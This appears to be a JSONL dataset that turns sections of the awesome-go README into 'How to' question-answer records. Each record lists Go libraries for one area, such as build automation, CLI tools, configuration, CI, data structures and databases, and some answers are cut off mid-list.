{"id": "gh_de9ec4c5b73d", "question": "How to: Build Automation", "question_body": "About avelino/awesome-go", "answer": "_Libraries and tools help with build automation._\n\n- [1build](https://github.com/gopinath-langote/1build) - Command line tool to frictionlessly manage project-specific commands.\n- [air](https://github.com/cosmtrek/air) - Air - Live reload for Go apps.\n- [anko](https://github.com/GuilhermeCaruso/anko) - Simple application watcher for multiple programming languages.\n- [gaper](https://github.com/maxclaus/gaper) - Builds and restarts a Go project when it crashes or some watched file changes.\n- [gilbert](https://go-gilbert.github.io) - Build system and task runner for Go projects.\n- [gob](https://github.com/kcmvp/gob) - [Gradle](https://docs.gradle.org/)/[Maven](https://maven.apache.org/) like build tool for Go projects.\n- [goyek](https://github.com/goyek/goyek) - Create build pipelines in Go.\n- [mage](https://github.com/magefile/mage) - Mage is a make/rake-like build tool using Go.\n- [mmake](https://github.com/tj/mmake) - Modern Make.\n- [realize](https://github.com/tockins/realize) - Go build a system with file watchers and live to reload. Run, build and watch file changes with custom paths.\n- [Task](https://github.com/go-task/task) - simple \"Make\" alternative.\n- [taskctl](https://github.com/taskctl/taskctl) - Concurrent task runner.\n- [xc](https://github.com/joerdav/xc) - Task runner with README.md defined tasks, executable markdown.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082293"}
{"id": "gh_6acee7ea9b9b", "question": "How to: Advanced Console UIs", "question_body": "About avelino/awesome-go", "answer": "_Libraries for building Console Applications and Console User Interfaces._\n\n- [asciigraph](https://github.com/guptarohit/asciigraph) - Go package to make lightweight ASCII line graph ╭┈╯ in command line apps with no other dependencies.\n- [aurora](https://github.com/logrusorgru/aurora) - ANSI terminal colors that support fmt.Printf/Sprintf.\n- [box-cli-maker](https://github.com/Delta456/box-cli-maker) - Make Highly Customized Boxes for your CLI.\n- [bubble-table](https://github.com/Evertras/bubble-table) - An interactive table component for bubbletea.\n- [bubbles](https://github.com/charmbracelet/bubbles) - TUI components for bubbletea.\n- [bubbletea](https://github.com/charmbracelet/bubbletea) - Go framework to build terminal apps, based on The Elm Architecture.\n- [crab-config-files-templating](https://github.com/alfiankan/crab-config-files-templating) - Dynamic configuration file templating tool for kubernetes manifest or general configuration files.\n- [ctc](https://github.com/wzshiming/ctc) - The non-invasive cross-platform terminal color library does not need to modify the Print method.\n- [fx](https://github.com/antonmedv/fx) - Terminal JSON viewer & processor.\n- [go-ataman](https://github.com/workanator/go-ataman) - Go library for rendering ANSI colored text templates in terminals.\n- [go-colorable](https://github.com/mattn/go-colorable) - Colorable writer for windows.\n- [go-colortext](https://github.com/daviddengcn/go-colortext) - Go library for color output in terminals.\n- [go-isatty](https://github.com/mattn/go-isatty) - isatty for golang.\n- [go-palette](https://github.com/abusomani/go-palette) - Go library that provides elegant and convenient style definitions using ANSI colors. Fully compatible & wraps the [fmt library](https://pkg.go.dev/fmt) for nice terminal layouts.\n- [go-prompt](https://github.com/c-bata/go-prompt) - Library for building a powerful interactive prompt, inspired by [python-prompt-toolkit](https://github.com/jonathanslenders/python-prompt-toolkit).\n- [gocui](https://github.com/jroimartin/gocui) - Minimalist Go library aimed at creating Console User Interfaces.\n- [gommon/color](https://github.com/labstack/gommon/tree/master/color) - Style terminal text.\n- [gookit/color](https://github.com/gookit/color) - Terminal color rendering tool library, support 16 colors, 256 colors, RGB color rendering output, compatible with Windows.\n- [lipgloss](https://github.com/charmbracelet/lipgloss) - Declaratively define styles for color, format and layout in the terminal.\n- [marker](https://github.com/cyucelen/marker) - Easiest way to match and mark strings for colorful terminal outputs.\n- [mpb](https://github.com/vbauerster/mpb) - Multi progress bar for terminal applications.\n- [progressbar](https://github.com/schollz/progressbar) - Basic thread-safe progress bar that works in every OS.\n- [pterm](https://github.com/pterm/pterm) - A library to beautify console output on every platform with many combinable components.\n- [simpletable](https://github.com/alexeyco/simpletable) - Simple tables in a terminal with Go.\n- [spinner](https://github.com/briandowns/spinner) - Go package to easily provide a terminal spinner with options.\n- [tabby](https://github.com/cheynewallace/tabby) - A tiny library for super simple Golang tables.\n- [table](https://github.com/tomlazar/table) - Small library for terminal color based tables.\n- [termbox-go](https://github.com/nsf/termbox-go) - Termbox is a library for creating cross-platform text-based interfaces.\n- [termdash](https://github.com/mum4k/termdash) - Go terminal dashboard based on **termbox-go** and inspired by [termui](https://github.com/gizak/termui).\n- [termenv](https://github.com/muesli/termenv) - Advanced ANSI style & color support for your terminal applications.\n- [termui](https://github.com/gizak/termui) - Go terminal dashboard based on **termbox-go** and inspired by [blessed-contrib](https://github.com/yaronn/blessed-contrib).\n- [uilive](https://github.com/gosuri/uilive) - Library for updating terminal output in real time.\n- [uiprogress](https://github.com/gosuri/uiprogress) - Flexible library to render progress bars in terminal applications.\n- [uitable](https://github.com/gosuri/uitable) - Library to improve readability in terminal apps using tabular data.\n- [yacspin](https://github.com/theckman/yacspin) - Yet Another CLi Spinner package, for working with terminal spinners.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082307"}
{"id": "gh_a74556b81410", "question": "How to: Standard CLI", "question_body": "About avelino/awesome-go", "answer": "_Libraries for building standard or basic Command Line applications._\n\n- [acmd](https://github.com/cristalhq/acmd) - Simple, useful, and opinionated CLI package in Go.\n- [argparse](https://github.com/akamensky/argparse) - Command line argument parser inspired by Python's argparse module.\n- [argv](https://github.com/cosiner/argv) - Go library to split command line string as arguments array using the bash syntax.\n- [carapace](https://github.com/rsteube/carapace) - Command argument completion generator for spf13/cobra.\n- [carapace-bin](https://github.com/rsteube/carapace-bin) - Multi-shell multi-command argument completer.\n- [carapace-spec](https://github.com/rsteube/carapace-spec) - Define simple completions using a spec file.\n- [climax](https://github.com/tucnak/climax) - Alternative CLI with \"human face\", in spirit of Go command.\n- [clîr](https://github.com/leaanthony/clir) - A Simple and Clear CLI library. Dependency free.\n- [cmd](https://github.com/posener/cmd) - Extends the standard `flag` package to support sub commands and more in idiomatic way.\n- [cmdr](https://github.com/hedzr/cmdr) - A POSIX/GNU style, getopt-like command-line UI Go library.\n- [cobra](https://github.com/spf13/cobra) - Commander for modern Go CLI interactions.\n- [command-chain](https://github.com/rainu/go-command-chain) - A go library for configure and run command chains - such as pipelining in unix shells.\n- [commandeer](https://github.com/jaffee/commandeer) - Dev-friendly CLI apps: sets up flags, defaults, and usage based on struct fields and tags.\n- [complete](https://github.com/posener/complete) - Write bash completions in Go + Go command bash completion.\n- [console](https://github.com/reeflective/console) Closed-loop application library for Cobra commands, with oh-my-posh prompts, and more.\n- [Dnote](https://github.com/dnote/dnote) - A simple command line notebook with multi-device sync.\n- [elvish](https://github.com/elves/elvish) - An expressive programming language and a versatile interactive shell.\n- [env](https://github.com/codingconcepts/env) - Tag-based environment configuration for structs.\n- [flaggy](https://github.com/integrii/flaggy) - A robust and idiomatic flags package with excellent subcommand support.\n- [flagvar](https://github.com/sgreben/flagvar) - A collection of flag argument types for Go's standard `flag` package.\n- [flash-flags](https://github.com/agilira/flash-flags) - Ultra-fast, zero-dependency, POSIX-compliant flag parsing library that can be used as drop-in stdlib replacement with security hardening.\n- [getopt](https://github.com/jon-codes/getopt) - An accurate Go `getopt`, validated against the GNU libc implementation.\n- [go-arg](https://github.com/alexflint/go-arg) - Struct-based argument parsing in Go.\n- [go-flags](https://github.com/jessevdk/go-flags) - go command line option parser.\n- [go-getoptions](https://github.com/DavidGamba/go-getoptions) - Go option parser inspired by the flexibility of Perl’s GetOpt::Long.\n- [go-readline-ny](https://github.com/nyaosorg/go-readline-ny) - A customizable line-editing library with Emacs keybindings, Unicode support, completion, and syntax highlighting. Used in NYAGOS shell.\n- [gocmd](https://github.com/devfacet/gocmd) - Go library for building command line applications.\n- [goopt](https://github.com/napalu/goopt) - A declarative, struct-tag based CLI framework for Go, with a broad feature set such as hierarchical commands/flags, i18n, shell completion, and validation.\n- [hashicorp/cli](https://github.com/hashicorp/cli) - Go library for implementing command-line interfaces.\n- [hiboot cli](https://github.com/hidevopsio/hiboot/tree/master/pkg/app/cli) - cli application framework with auto configuration and dependency injection.\n- [job](https://github.com/liujianping/job) - JOB, make your short-term command as a long-term job.\n- [kingpin](https://github.com/alecthomas/kingpin) - Command line and flag parser supporting sub commands (superseded by `kong`; see below).\n- [liner](https://github.com/peterh/liner) - Go readline-like library for command-line interfaces.\n- [mcli](https://github.com/jxskiss/mcli) - A minimal but very powerful cli library for Go.\n- [mkideal/cli](https://github.com/mkideal/cli) - Feature-rich and easy to use command-line package based on golang struct tags.\n- [mow.cli](https://github.com/jawher/mow.cli) - Go library for building CLI applications with sophisticated flag and argument parsing and validation.\n- [ops](https://github.com/nanovms/ops) - Unikernel Builder/Orchestrator.\n- [orpheus](https://github.com/agilira/orpheus) - CLI framework with security hardening, plugin storage system, and production observability features.\n- [pflag](https://github.com/spf13/pflag) - Drop-in replacement for Go's flag package, implementing POSIX/GNU-style --flags.\n- [readline](https://github.com/reeflective/readline) - Shell library with modern and easy to use UI features.\n- [sflags](https://github.com/octago/sflags) - Struct based flags generator for flag, ur", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082327"}
{"id": "gh_ea19c3dd709b", "question": "How to: Configuration", "question_body": "About avelino/awesome-go", "answer": "_Libraries for configuration parsing._\n\n- [aconfig](https://github.com/cristalhq/aconfig) - Simple, useful and opinionated config loader.\n- [argus](https://github.com/agilira/argus) - File watching and configuration management with MPSC ring buffer, adaptive batching strategies, and universal format parsing (JSON, YAML, TOML, INI, HCL, Properties).\n- [azureappconfiguration](https://github.com/Azure/AppConfiguration-GoProvider) - The configuration provider for consuming data in Azure App Configuration from Go applications.\n- [bcl](https://github.com/wkhere/bcl) - BCL is a configuration language similar to HCL.\n- [cleanenv](https://github.com/ilyakaznacheev/cleanenv) - Minimalistic configuration reader (from files, ENV, and wherever you want).\n- [config](https://github.com/JeremyLoy/config) - Cloud native application configuration. Bind ENV to structs in only two lines.\n- [config](https://github.com/num30/config) - configure your app using file, environment variables, or flags in two lines of code.\n- [configuration](https://github.com/BoRuDar/configuration) - Library for initializing configuration structs from env variables, files, flags and 'default' tag.\n- [configuro](https://github.com/sherifabdlnaby/configuro) - opinionated configuration loading & validation framework from ENV and Files focused towards 12-Factor compliant applications.\n- [confiq](https://github.com/greencoda/confiq) - Structured data format to config struct decoder library for Go - supporting multiple data formats.\n- [confita](https://github.com/heetch/confita) - Load configuration in cascade from multiple backends into a struct.\n- [conflate](https://github.com/the4thamigo-uk/conflate) - Library/tool to merge multiple JSON/YAML/TOML files from arbitrary URLs, validation against a JSON schema, and application of default values defined in the schema.\n- [enflag](https://github.com/atelpis/enflag) - Container-oriented, zero-dependency configuration library that unifies Env variable and Flag parsing. Uses generics for type safety, without reflection or struct tags.\n- [env](https://github.com/caarlos0/env) - Parse environment variables to Go structs (with defaults).\n- [env](https://github.com/junk1tm/env) - A lightweight package for loading environment variables into structs.\n- [env](https://github.com/syntaqx/env) - An environment utility package with support for unmarshaling into structs.\n- [envconfig](https://github.com/vrischmann/envconfig) - Read your configuration from environment variables.\n- [envh](https://github.com/antham/envh) - Helpers to manage environment variables.\n- [envyaml](https://github.com/yuseferi/envyaml) - Yaml with environment variables reader. it helps to have secrets as environment variable but load them configs as structured Yaml.\n- [fig](https://github.com/kkyr/fig) - Tiny library for reading configuration from a file and from environment variables (with validation & defaults).\n- [genv](https://github.com/sakirsensoy/genv) - Read environment variables easily with dotenv support.\n- [go-array](https://github.com/deatil/go-array) - A Go package that read or set data from map, slice or json.\n- [go-aws-ssm](https://github.com/PaddleHQ/go-aws-ssm) - Go package that fetches parameters from AWS System Manager - Parameter Store.\n- [go-cfg](https://github.com/dsbasko/go-cfg) - The library provides a unified way to read configuration data into a structure from various sources, such as env, flags, and configuration files (.json, .yaml, .toml, .env).\n- [go-conf](https://github.com/ThomasObenaus/go-conf) - Simple library for application configuration based on annotated structs. It supports reading the configuration from environment variables, config files and command line parameters.\n- [go-config](https://github.com/MordaTeam/go-config) - Simple and convenient library for working with app configurations.\n- [go-ini](https://github.com/subpop/go-ini) - A Go package that marshals and unmarshals INI-files.\n- [go-ssm-config](https://github.com/ianlopshire/go-ssm-config) - Go utility for loading configuration parameters from AWS SSM (Parameter Store).\n- [go-up](https://github.com/ufoscout/go-up) - A simple configuration library with recursive placeholders resolution and no magic.\n- [GoCfg](https://github.com/Jagerente/gocfg) - Config manager with Struct Tags based contracts, custom value providers, parsers, and documentation generation. Customizable yet simple.\n- [godotenv](https://github.com/joho/godotenv) - Go port of Ruby's dotenv library (Loads environment variables from `.env`).\n- [GoLobby/Config](https://github.com/golobby/config) - GoLobby Config is a lightweight yet powerful configuration manager for the Go programming language.\n- [gone/jconf](https://github.com/One-com/gone/tree/master/jconf) - Modular JSON configuration. Keep your config structs along with the code they configure and delegate parsing to submodules without sacrificing full config serialization.\n- [gonfig](https://github.com/milad-abbasi/gonfig) - Tag-based con", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082352"}
{"id": "gh_7ddc2e6fb916", "question": "How to: Continuous Integration", "question_body": "About avelino/awesome-go", "answer": "_Tools for help with continuous integration._\n\n- [abstruse](https://github.com/bleenco/abstruse) - Abstruse is a distributed CI platform.\n- [Bencher](https://bencher.dev/) - A suite of continuous benchmarking tools designed to catch performance regressions in CI.\n- [CDS](https://github.com/ovh/cds) - Enterprise-Grade CI/CD and DevOps Automation Open Source Platform.\n- [dot](https://github.com/opnlabs/dot) - A minimal, local first continuous integration system that uses Docker to run jobs concurrently in stages.\n- [drone](https://github.com/drone/drone) - Drone is a Continuous Integration platform built on Docker, written in Go.\n- [go-beautiful-html-coverage](https://github.com/gha-common/go-beautiful-html-coverage) - A GitHub Action to track code coverage in your pull requests, with a beautiful HTML preview, for free.\n- [go-fuzz-action](https://github.com/jidicula/go-fuzz-action) - Use Go 1.18's built-in fuzz testing in GitHub Actions.\n- [go-semver-release](https://github.com/s0ders/go-semver-release) - Automate the semantic versioning of Git repositories.\n- [go-test-coverage](https://github.com/marketplace/actions/go-test-coverage) - A GitHub Action which reports issues when test coverage is below set threshold.\n- [gomason](https://github.com/nikogura/gomason) - Test, Build, Sign, and Publish your go binaries from a clean workspace.\n- [gotestfmt](https://github.com/GoTestTools/gotestfmt) - go test output for humans.\n- [goveralls](https://github.com/mattn/goveralls) - Go integration for Coveralls.io continuous code coverage tracking system.\n- [muffet](https://github.com/raviqqe/muffet) - Fast website link checker in Go, see [alternatives](https://github.com/lycheeverse/lychee#features).\n- [overalls](https://github.com/go-playground/overalls) - Multi-Package go project coverprofile for tools like goveralls.\n- [roveralls](https://github.com/LawrenceWoodman/roveralls) - Recursive coverage testing tool.\n- [woodpecker](https://github.com/woodpecker-ci/woodpecker) - Woodpecker is a community fork of the Drone CI system.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082361"}
{"id": "gh_1e1b85245a03", "question": "How to: CSS Preprocessors", "question_body": "About avelino/awesome-go", "answer": "_Libraries for preprocessing CSS files._\n\n- [go-css](https://github.com/napsy/go-css) - A very simple CSS parser, written in Go.\n- [go-libsass](https://github.com/wellington/go-libsass) - Go wrapper to the 100% Sass compatible libsass project.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082367"}
{"id": "gh_58781b137c3b", "question": "How to: Data Integration Frameworks", "question_body": "About avelino/awesome-go", "answer": "_Frameworks for performing ELT / ETL_\n\n- [Benthos](https://github.com/benthosdev/benthos) - A message streaming bridge between a range of protocols.\n- [CloudQuery](http://github.com/cloudquery/cloudquery) - A high-performance ELT data integration framework with pluggable architecture.\n- [omniparser](https://github.com/jf-tech/omniparser) - A versatile ETL library that parses text input (CSV/txt/JSON/XML/EDI/X12/EDIFACT/etc) in streaming fashion and transforms data into JSON output using data-driven schema.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082379"}
{"id": "gh_ca7bc6322eba", "question": "How to: Bit-packing and Compression", "question_body": "About avelino/awesome-go", "answer": "- [bingo](https://github.com/iancmcc/bingo) - Fast, zero-allocation, lexicographical-order-preserving packing of native types to bytes.\n- [binpacker](https://github.com/zhuangsirui/binpacker) - Binary packer and unpacker helps user build custom binary stream.\n- [bit](https://github.com/yourbasic/bit) - Golang set data structure with bonus bit-twiddling functions.\n- [crunch](https://github.com/superwhiskers/crunch) - Go package implementing buffers for handling various datatypes easily.\n- [go-ef](https://github.com/amallia/go-ef) - A Go implementation of the Elias-Fano encoding.\n- [roaring](https://github.com/RoaringBitmap/roaring) - Go package implementing compressed bitsets.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082386"}
{"id": "gh_e38a86541f10", "question": "How to: Bloom and Cuckoo Filters", "question_body": "About avelino/awesome-go", "answer": "- [bloom](https://github.com/bits-and-blooms/bloom) - Go package implementing Bloom filters.\n- [bloom](https://github.com/zhenjl/bloom) - Bloom filters implemented in Go.\n- [bloom](https://github.com/yourbasic/bloom) - Golang Bloom filter implementation.\n- [bloomfilter](https://github.com/OldPanda/bloomfilter) - Yet another Bloomfilter implementation in Go, compatible with Java's Guava library.\n- [boomfilters](https://github.com/tylertreat/BoomFilters) - Probabilistic data structures for processing continuous, unbounded streams.\n- [cuckoo-filter](https://github.com/linvon/cuckoo-filter) - Cuckoo filter: a comprehensive cuckoo filter, which is configurable and space optimized compared with other implements, and all features mentioned in original paper are available.\n- [cuckoofilter](https://github.com/seiflotfy/cuckoofilter) - Cuckoo filter: a good alternative to a counting bloom filter implemented in Go.\n- [ring](https://github.com/TheTannerRyan/ring) - Go implementation of a high performance, thread safe bloom filter.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082392"}
{"id": "gh_f29cccce98c3", "question": "How to: Data Structure and Algorithm Collections", "question_body": "About avelino/awesome-go", "answer": "- [algorithms](https://github.com/shady831213/algorithms) - Algorithms and data structures.CLRS study.\n- [go-datastructures](https://github.com/Workiva/go-datastructures) - Collection of useful, performant, and thread-safe data structures.\n- [gods](https://github.com/emirpasic/gods) - Go Data Structures. Containers, Sets, Lists, Stacks, Maps, BidiMaps, Trees, HashSet etc.\n- [gostl](https://github.com/liyue201/gostl) - Data structure and algorithm library for go, designed to provide functions similar to C++ STL.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082397"}
{"id": "gh_503329c9785d", "question": "How to: Miscellaneous Data Structures and Algorithms", "question_body": "About avelino/awesome-go", "answer": "- [concurrent-writer](https://github.com/free/concurrent-writer) - Highly concurrent drop-in replacement for `bufio.Writer`.\n- [count-min-log](https://github.com/seiflotfy/count-min-log) - Go implementation Count-Min-Log sketch: Approximately counting with approximate counters (Like Count-Min sketch but using less memory).\n- [fsm](https://github.com/cocoonspace/fsm) - Finite-State Machine package.\n- [genfuncs](https://github.com/nwillc/genfuncs) - Go 1.18+ generics package inspired by Kotlin's Sequence and Map.\n- [go-generics](https://github.com/bobg/go-generics) - Generic slice, map, set, iterator, and goroutine utilities.\n- [go-geoindex](https://github.com/hailocab/go-geoindex) - In-memory geo index.\n- [go-rampart](https://github.com/francesconi/go-rampart) - Determine how intervals relate to each other.\n- [go-rquad](https://github.com/aurelien-rainone/go-rquad) - Region quadtrees with efficient point location and neighbour finding.\n- [go-tuple](https://github.com/barweiss/go-tuple) - Generic tuple implementation for Go 1.18+.\n- [go18ds](https://github.com/daichi-m/go18ds) - Go Data Structures using Go 1.18 generics.\n- [gofal](https://github.com/xxjwxc/gofal) - fractional api for Go.\n- [gogu](https://github.com/esimov/gogu) - A comprehensive, reusable and efficient concurrent-safe generics utility functions and data structures library.\n- [gota](https://github.com/kniren/gota) - Implementation of dataframes, series, and data wrangling methods for Go.\n- [hide](https://github.com/emvi/hide) - ID type with marshalling to/from hash to prevent sending IDs to clients.\n- [hyperloglog](https://github.com/axiomhq/hyperloglog) - HyperLogLog implementation with Sparse, LogLog-Beta bias correction and TailCut space reduction.\n- [quadtree](https://github.com/s0rg/quadtree) - Generic, zero-alloc, 100%-test covered quadtree.\n- [slices](https://github.com/twharmon/slices) - Pure, generic functions for slices.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082406"}
{"id": "gh_dbda0feca8bd", "question": "How to: Nullable Types", "question_body": "About avelino/awesome-go", "answer": "- [nan](https://github.com/kak-tus/nan) - Zero allocation Nullable structures in one library with handy conversion functions, marshallers and unmarshallers.\n- [null](https://github.com/emvi/null) - Nullable Go types that can be marshalled/unmarshalled to/from JSON.\n- [typ](https://github.com/gurukami/typ) - Null Types, Safe primitive type conversion and fetching value from complex structures.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082411"}
{"id": "gh_d72a1c242c4c", "question": "How to: Text Analysis", "question_body": "About avelino/awesome-go", "answer": "- [bleve](https://github.com/blevesearch/bleve) - Modern text indexing library for go.\n- [go-adaptive-radix-tree](https://github.com/plar/go-adaptive-radix-tree) - Go implementation of Adaptive Radix Tree.\n- [go-edlib](https://github.com/hbollon/go-edlib) - Go string comparison and edit distance algorithms library (Levenshtein, LCS, Hamming, Damerau levenshtein, Jaro-Winkler, etc.) compatible with Unicode.\n- [levenshtein](https://github.com/agext/levenshtein) - Levenshtein distance and similarity metrics with customizable edit costs and Winkler-like bonus for common prefix.\n- [levenshtein](https://github.com/agnivade/levenshtein) - Implementation to calculate levenshtein distance in Go.\n- [mspm](https://github.com/BlackRabbitt/mspm) - Multi-String Pattern Matching Algorithm for information retrieval.\n- [parsefields](https://github.com/MonaxGT/parsefields) - Tools for parse JSON-like logs for collecting unique fields and events.\n- [ptrie](https://github.com/viant/ptrie) - An implementation of prefix tree.\n- [trie](https://github.com/derekparker/trie) - Trie implementation in Go.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082418"}
{"id": "gh_0e3df50bf521", "question": "How to: Databases Implemented in Go", "question_body": "About avelino/awesome-go", "answer": "- [badger](https://github.com/dgraph-io/badger) - Fast key-value store in Go.\n- [bbolt](https://github.com/etcd-io/bbolt) - An embedded key/value database for Go.\n- [Bitcask](https://git.mills.io/prologic/bitcask) - Bitcask is an embeddable, persistent and fast key-value (KV) database written in pure Go with predictable read/write performance, low latency and high throughput thanks to the bitcask on-disk layout (LSM+WAL).\n- [buntdb](https://github.com/tidwall/buntdb) - Fast, embeddable, in-memory key/value database for Go with custom indexing and spatial support.\n- [clover](https://github.com/ostafen/clover) - A lightweight document-oriented NoSQL database written in pure Golang.\n- [cockroach](https://github.com/cockroachdb/cockroach) - Scalable, Geo-Replicated, Transactional Datastore.\n- [Coffer](https://github.com/claygod/coffer) - Simple ACID key-value database that supports transactions.\n- [column](https://github.com/kelindar/column) - High-performance, columnar, embeddable in-memory store with bitmap indexing and transactions.\n- [CovenantSQL](https://github.com/CovenantSQL/CovenantSQL) - CovenantSQL is a SQL database on blockchain.\n- [Databunker](https://github.com/paranoidguy/databunker) - Personally identifiable information (PII) storage service built to comply with GDPR and CCPA.\n- [dgraph](https://github.com/dgraph-io/dgraph) - Scalable, Distributed, Low Latency, High Throughput Graph Database.\n- [DiceDB](https://github.com/DiceDB/dice) - An open-source, fast, reactive, in-memory database optimized for modern hardware. Higher throughput and lower median latencies, making it ideal for modern workloads.\n- [diskv](https://github.com/peterbourgon/diskv) - Home-grown disk-backed key-value store.\n- [dolt](https://github.com/dolthub/dolt) - Dolt – It's Git for Data.\n- [eliasdb](https://github.com/krotik/eliasdb) - Dependency-free, transactional graph database with REST API, phrase search and SQL-like query language.\n- [godis](https://github.com/hdt3213/godis) - A Golang implemented high-performance Redis server and cluster.\n- [goleveldb](https://github.com/syndtr/goleveldb) - Implementation of the [LevelDB](https://github.com/google/leveldb) key/value database in Go.\n- [hare](https://github.com/jameycribbs/hare) - A simple database management system that stores each table as a text file of line-delimited JSON.\n- [immudb](https://github.com/codenotary/immudb) - immudb is a lightweight, high-speed immutable database for systems and applications written in Go.\n- [influxdb](https://github.com/influxdb/influxdb) - Scalable datastore for metrics, events, and real-time analytics.\n- [ledisdb](https://github.com/siddontang/ledisdb) - Ledisdb is a high performance NoSQL like Redis based on LevelDB.\n- [levigo](https://github.com/jmhodges/levigo) - Levigo is a Go wrapper for LevelDB.\n- [libradb](https://github.com/amit-davidson/LibraDB) - LibraDB is a simple database with less than 1000 lines of code for learning.\n- [LinDB](https://github.com/lindb/lindb) - LinDB is a scalable, high performance, high availability distributed time series database.\n- [lotusdb](https://github.com/flower-corp/lotusdb) - Fast k/v database compatible with lsm and b+tree.\n- [Milvus](https://github.com/milvus-io/milvus) - Milvus is a vector database for embedding management, analytics and search.\n- [moss](https://github.com/couchbase/moss) - Moss is a simple LSM key-value storage engine written in 100% Go.\n- [nutsdb](https://github.com/xujiajun/nutsdb) - Nutsdb is a simple, fast, embeddable, persistent key/value store written in pure Go. It supports fully serializable transactions and many data structures such as list, set, sorted set.\n- [objectbox-go](https://github.com/objectbox/objectbox-go) - High-performance embedded Object Database (NoSQL) with Go API.\n- [pebble](https://github.com/cockroachdb/pebble) - RocksDB/LevelDB inspired key-value database in Go.\n- [piladb](https://github.com/fern4lvarez/piladb) - Lightweight RESTful database engine based on stack data structures.\n- [pogreb](https://github.com/akrylysov/pogreb) - Embedded key-value store for read-heavy workloads.\n- [prometheus](https://github.com/prometheus/prometheus) - Monitoring system and time series database.\n- [pudge](https://github.com/recoilme/pudge) - Fast and simple key/value store written using Go's standard library.\n- [redka](https://github.com/nalgeon/redka) - Redis re-implemented with SQLite.\n- [rosedb](https://github.com/roseduan/rosedb) - An embedded k-v database based on LSM+WAL, supports string, list, hash, set, zset.\n- [rotom](https://github.com/xgzlucario/rotom) - A tiny Redis server built with Golang, compatible with RESP protocols.\n- [rqlite](https://github.com/rqlite/rqlite) - The lightweight, distributed, relational database built on SQLite.\n- [tempdb](https://github.com/rafaeljesus/tempdb) - Key-value store for temporary items.\n- [tidb](https://github.com/pingcap/tidb) - TiDB is a distributed SQL database. Inspired by the design of Google F1.\n- [tiedot](", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.082439"}
{"id": "gh_278528e1af51", "question": "How to: Database Schema Migration", "question_body": "About avelino/awesome-go", "answer": "- [atlas](https://github.com/ariga/atlas) - A Database Toolkit. A CLI designed to help companies better work with their data.\n- [avro](https://github.com/khezen/avro) - Discover SQL schemas and convert them to AVRO schemas. Query SQL records into AVRO bytes.\n- [bytebase](https://github.com/bytebase/bytebase) - Safe database schema change and version control for DevOps teams.\n- [darwin](https://github.com/GuiaBolso/darwin) - Database schema evolution library for Go.\n- [dbmate](https://github.com/amacneil/dbmate) - A lightweight, framework-agnostic database migration tool.\n- [go-fixtures](https://github.com/RichardKnop/go-fixtures) - Django style fixtures for Golang's excellent built-in database/sql library.\n- [go-pg-migrate](https://github.com/lawzava/go-pg-migrate) - CLI-friendly package for go-pg migrations management.\n- [go-pg-migrations](https://github.com/robinjoseph08/go-pg-migrations) - A Go package to help write migrations with go-pg/pg.\n- [goavro](https://github.com/linkedin/goavro) - A Go package that encodes and decodes Avro data.\n- [godfish](https://github.com/rafaelespinoza/godfish) - Database migration manager, works with native query language. Support for cassandra, mysql, postgres, sqlite3.\n- [goose](https://github.com/pressly/goose) - Database migration tool. You can manage your database's evolution by creating incremental SQL or Go scripts.\n- [gorm-seeder](https://github.com/Kachit/gorm-seeder) - Simple database seeder for Gorm ORM.\n- [gormigrate](https://github.com/go-gormigrate/gormigrate) - Database schema migration 